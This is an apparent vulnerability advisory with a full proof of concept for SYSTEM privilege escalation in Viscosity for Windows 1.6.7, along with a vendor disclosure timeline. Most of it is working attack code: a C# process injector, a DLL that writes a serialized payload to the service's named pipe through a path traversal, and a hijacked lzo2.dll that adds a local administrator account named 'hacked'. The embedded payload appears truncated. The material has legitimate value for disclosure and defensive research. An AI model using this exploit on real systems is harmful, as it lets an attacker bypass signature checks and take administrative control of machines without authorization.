Viscosity for Windows 1.6.7 Privilege Escalation
30 Jan 2017
Homepage:
https://www.sparklabs.com/
Description:
ViscosityService runs as SYSTEM process.
wmic service where name="ViscosityService" get StartName
StartName
LocalSystem
Viscosity.exe contacts with service using named pipe.
Only files digitally signed by SparkLabs can use this pipe because of usage of new X509Certificate2(X509Certificate.CreateFromSignedFile());.
But itas possible to bypass this by injecting our DLL into Viscosity.exe.
So now we can send any commands to service using DLL.
Inside service there is method startOpenVPN which is responsible for executing openvpn.exe as SYSTEM user.
One of the parameter of this method is openVPNVer which is used to generate valid path to exe file:
if (string.IsNullOrWhiteSpace(openVPNVer))
{
text = Path.Combine(text, "openvpn.exe");
}
else
{
text = Path.Combine(text, openVPNVer, "openvpn.exe");
}
Of course from Viscosity GUI we have limited options for choosing this parameter.
But because we control pipe, we can send anything, for example: ..\..\.
Now we control path to binary which will be executed.
There is another problem in order to get privilege escalation.
Before executing openvpn.exe from given path, service again check if this exe file is signed by SparkLabs.
We can bypass this too. How? Using DLL Hijacking.
OpenVPN signed by SparkLabs uses 6 DLL (which donat need to be signed).
So we can copy this signed OpenVPN to our directory and replace one of the external dll, for example lzo2.dll with our custom dll.
Then, service will allow execution of this signed openvpn.exe which will load and execute our custom, non signed dll.
Proof of Concept:
Download Visual Studio Project
For injecting into Viscosity process I use simple C# injector (you need to compile this using x64 architecture):
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
public class Program
{
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
public enum ProcessCreationFlags : uint
{
ZERO_FLAG = 0x00000000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00001000,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,
}
[DllImport("kernel32.dll")]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
private static int Main(string[] args)
{
Console.WriteLine("Viscosity for Windows 1.6.7 Privilege Escalation");
Console.WriteLine("by Kacper Szurek");
Console.WriteLine("http://security.szurek.pl/");
Console.WriteLine("https://twitter.com/KacperSzurek");
string exploitPath = @"C:\z\";
string currentDir = Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location);
string dllPath = Path.Combine(currentDir, "Dll.dll");
if (!System.IO.File.Exists(Path.Combine(currentDir, "Dll.dll")))
{
Console.WriteLine("Missing Dll.dll. Did you copy all dependency?");
return 1;
}
if (!System.IO.Directory.Exists(exploitPath))
{
System.IO.Directory.CreateDirectory(exploitPath);
}
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\msvcp120.dll", @"C:\z\msvcp120.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\msvcr120.dll", @"C:\z\msvcr120.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\ssleay32.dll", @"C:\z\ssleay32.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\libeay32.dll", @"C:\z\libeay32.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\libpkcs11-helper-1.dll", @"C:\z\libpkcs11-helper-1.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\openvpn.exe", @"C:\z\openvpn.exe", true);
System.IO.File.Copy(Path.Combine(currentDir, "Lzo.dll"), @"C:\z\lzo2.dll", true);
STARTUPINFO startupInfo = default(STARTUPINFO);
PROCESS_INFORMATION processInformation = default(PROCESS_INFORMATION);
UIntPtr lpNumberOfBytesWritten;
if (!Program.CreateProcess(@"c:\Program Files\Viscosity\Viscosity.exe", null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref startupInfo, out processInformation))
{
Console.WriteLine("Cannot create Viscosity process");
return 1;
}
uint dwProcessId = processInformation.dwProcessId;
IntPtr hProcess = Program.OpenProcess(1082, false, (int)dwProcessId);
IntPtr procAddress = Program.GetProcAddress(Program.GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr intPtr = Program.VirtualAllocEx(hProcess, IntPtr.Zero, (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), 12288u, 4u);
Program.WriteProcessMemory(hProcess, intPtr, Encoding.Default.GetBytes(dllPath), (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), out lpNumberOfBytesWritten);
Program.CreateRemoteThread(hProcess, IntPtr.Zero, 0u, procAddress, intPtr, 0u, IntPtr.Zero);
Console.WriteLine("Wait for message from thread");
return 0;
}
}
Injected dll is written in C (also you need to compile this using x64):
#include "stdafx.h"
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DWORD dwWritten = 0;
char buffer[128];
DWORD numBytesRead = 0;
HANDLE hPipe = CreateFile(TEXT("\\\\.\\Pipe\\ViscosityNamedPipe5zstaa0123s"), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
MessageBoxA(NULL, "Is Viscocity service running?", "FAILED", MB_OK);
return true;
}
WriteFile(hPipe, "10924\n", 6, &dwWritten, NULL);
WriteFile(hPipe,
"AAEAAAD/////AQAAAAAAAAAQAQAAAAQAAAAGAgAAAAxzdGFydE9wZW5WUE4GAwAAAAhyYW5kb21pZAYEAAAACy4uLy4uLy4uL3ovCQUAAAAMBgAAAEdWaXNjb3NpdHlTZXJ2aWNlLCBWZXJzaW9uPTEuNi43LjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49bnVsbAUFAAAAG3pJVllnSnBPOGlRZDlIQlNJeFNCeEtaYlNZaQoAAAAOY29uZmlnRmlsZVBhdGgPYWR2Q29uZmlnVmFsdWVzDGNvbmZpZ1ZhbHVlcxJjdXN0b21Db25maWdWYWx1ZXMMZG5zdjZTZXJ2ZXJzDXJlbW90ZVNlcnZlcnMGcm91dGVzCmlwdjZyb3V0ZXMMZG5zdjRTZXJ2ZXJzCmRuc0RvbWFpbnMBAwMDAwMDAwMD1AJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1d4gFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1d4gFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1df1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV1/U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXfEBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXfEBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXX9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1df1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GAAAABgcAAAAEdGVzdAkIAAAACQkAAAAJCgAAAAkLAAAACQwAAAAJDQAAAAkOAAAACQ8AAAAJEAAAAAQIAAAA1AJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAdWZXJzaW9uCENvbXBhcmVyCEhhc2hTaXplAAMACJIBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuR2VuZXJpY0VxdWFsaXR5Q29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAAAAAAkRAAAAAAAAAAQJAAAA4gFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAdWZXJzaW9uCENvbXBhcmVyCEhhc2hTaXplAAMACJIBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuR2VuZXJpY0VxdWFsaXR5Q29tcGFyZXJgMVtbU3lzdGVtLlN0cml
10924,
&dwWritten,
NULL);
if (dwWritten != 10924) {
MessageBoxA(NULL, "Cannot write to service", "FAILED", MB_OK);
return true;
}
BOOL result = ReadFile(hPipe, buffer, 127 * sizeof(char), &numBytesRead, NULL);
if (!result) {
MessageBoxA(NULL, "Cannot read from service", "FAILED", MB_OK);
return true;
}
buffer[numBytesRead] = '\0';
MessageBoxA(NULL, buffer, "Output", MB_OK);
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Fake lzo2.dll is also written in C (but this one is x86):
#include "stdafx.h"
#define EXTERN_DLL_EXPORT extern "C" __declspec(dllexport)
EXTERN_DLL_EXPORT int __lzo_init_v2() {
return 1;
}
EXTERN_DLL_EXPORT int lzo_version_string() {
return 1;
}
EXTERN_DLL_EXPORT int lzo1x_1_15_compress() {
return 1;
}
EXTERN_DLL_EXPORT int lzo1x_decompress_safe() {
return 1;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessA("C:\\Windows\\System32\\cmd.exe",
"/C net user hacked /add && net localgroup administrators hacked /add",
NULL, NULL, FALSE, 0, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return false;
}
Timeline:
13-01-2017: Discovered
13-01-2017: Vendor notified
16-01-2017: Version 1.6.8 released, issue resolved